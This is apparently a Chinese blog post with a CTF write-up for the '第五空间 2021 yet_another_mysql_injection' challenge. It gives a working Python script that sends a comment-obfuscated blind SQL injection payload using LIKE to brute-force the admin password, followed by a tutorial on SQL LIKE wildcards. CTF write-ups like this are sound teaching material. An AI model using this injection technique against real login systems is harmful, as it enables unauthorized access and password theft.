[第五空间 2021]yet_another_mysql_injection

感觉不同的题目环境是有问题的,标准方式是Quine
https://www.cnblogs.com/zhengna/p/15917521.html
学这篇,但是这题的存password的表不是空表
所以爆破

点击查看代码
import requests,time
ascii = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~"
def get_pass():
    url = "http://node4.anna.nssctf.cn:28194/index.php"
    flag = ""
    while True:
        for i in ascii:
            data={"username":"admin","password":f"1'or/**/password/**/like/**/'{flag+i}%'#"}
            resp = requests.post(url=url,data=data)
            if "something wrong" not in resp.text:
                flag+=i
                print(flag)
                break
            elif "~" in i:
                return
get_pass()

我是脚本小子 这里运用了like模糊查询,

LIKE 是 SQL 中用于模糊匹配字符串的运算符,用于在字符串中查找指定的模式。LIKE 运算符通常用于 SELECT 语句的 WHERE 子句中,以过滤符合特定模式的数据。

LIKE 运算符支持两种通配符:

百分号 %:表示任意字符序列(包括空字符序列)。

下划线 _:表示任意单个字符。

下面是一些使用 LIKE 运算符的示例:

查询以 "A" 开头的所有字符串:

SELECT * FROM table_name WHERE column_name LIKE 'A%'


查询以 "ing" 结尾的所有字符串:

SELECT * FROM table_name WHERE column_name LIKE '%ing'

查询包含 "abc" 子串的所有字符串:

SELECT * FROM table_name WHERE column_name LIKE '%abc%'


查询第二个字符是 "a" 的所有字符串:

    SELECT * FROM table_name WHERE column_name LIKE '_a%'
    ```

在上述示例中,LIKE 运算符后面的模式字符串都使用了通配符 % 或 _,以匹配不确定的部分。当模式字符串中包含通配符时,LIKE 运算符将匹配所有符合模式的字符串,而不是严格匹配模式字符串本身。因此,LIKE 运算符是一种非常强大和灵活的字符串匹配工具,但也需要谨慎使用,以避免出现意外的结果。
posted @ 2023-04-21 18:15  Dr0se  阅读(36)  评论(0)    收藏  举报